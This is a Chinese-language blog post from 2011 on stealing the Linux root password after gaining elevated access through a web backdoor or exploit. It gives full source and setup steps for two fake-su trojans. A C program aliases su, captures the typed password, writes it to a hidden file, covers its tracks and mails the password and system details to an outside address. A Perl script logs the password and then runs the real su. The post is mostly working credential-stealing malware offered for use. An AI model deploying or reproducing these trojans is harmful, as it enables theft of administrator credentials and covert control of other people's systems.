提權後擷取linux root密碼

標籤：style   blog   http   java   color   os   

提權後擷取linux root密碼

2011-09-09 10:45:25     我來說兩句      

收藏    我要投稿

在webbackdoor本身是root(可能性小的可憐)或通過某漏洞溢出成功得到最高許可權後，如果能擷取root密碼能給我們帶來很多的好處。查詢了一下前輩的方法，一個是欺騙su記錄密碼，另外一個是替換sshd，我們先看看欺騙su記錄密碼的代碼吧！

先看第一種,kpr-fakesu.c V0.9beta167 fucksu.c

/* * kpr-fakesu.c V0.9beta167 ;P * by koper <[email protected]> * * Setting up: * [email protected]:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * [email protected]:~$ mv .su /var/tmp/.su * [email protected]:~$ cp .bash_profile .wgetrc * [email protected]:~$ echo “alias su=/var/tmp/.su”>>.bash_profile * [email protected]:~$ logout * *** LOGIN *** * [email protected]:~$ su * Password: * su: Authentication failure * Sorry. * [email protected]:~$ su * Password: * [email protected]:~# logout * [email protected]:~$ cat /var/tmp/.pwds * root:dupcia17 * [email protected]:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it “fit” * */

#include <stdio.h> #include <stdlib.h>

main(int argc, char *argv[]){

FILE *fp; char *user; char *pass; char filex[100]; char clean[100];

sprintf(filex,”/var/tmp/.pwds”); sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”); if(argc==1) user=”root”; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], “-l”)==0) user=argv[2]; else user=argv[1];}

fprintf(stdout,”Password: “); pass=getpass (“”); system(“sleep 3″); fprintf(stdout,”su: Authentication failurenSorry.n”);

if ((fp=fopen(filex,”w”)) != NULL) { fprintf(fp, “%s:%sn”, user, pass); fclose(fp); }

system(clean); system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);

/* If you don’t want password in your e-mail uncomment this line: */

system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail[email protected]”);

}  

 

perl版本

perl版本： #!/usr/bin/perl

#################################################################################################### # [email protected] 2006 su trojan check so the su path is correct.                                 # # then make alias for trojan first it reads the pass then exec the real su.                       # # logging to /tmp/.pass                                                                         # #################################################################################################### print “Password: “; $s1=<STDIN>; print “Sorry.n”; $s2=”Password is: “; $s3=`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”); print users ($s2, $s1,$s3); close (users);

system(“/bin/su”)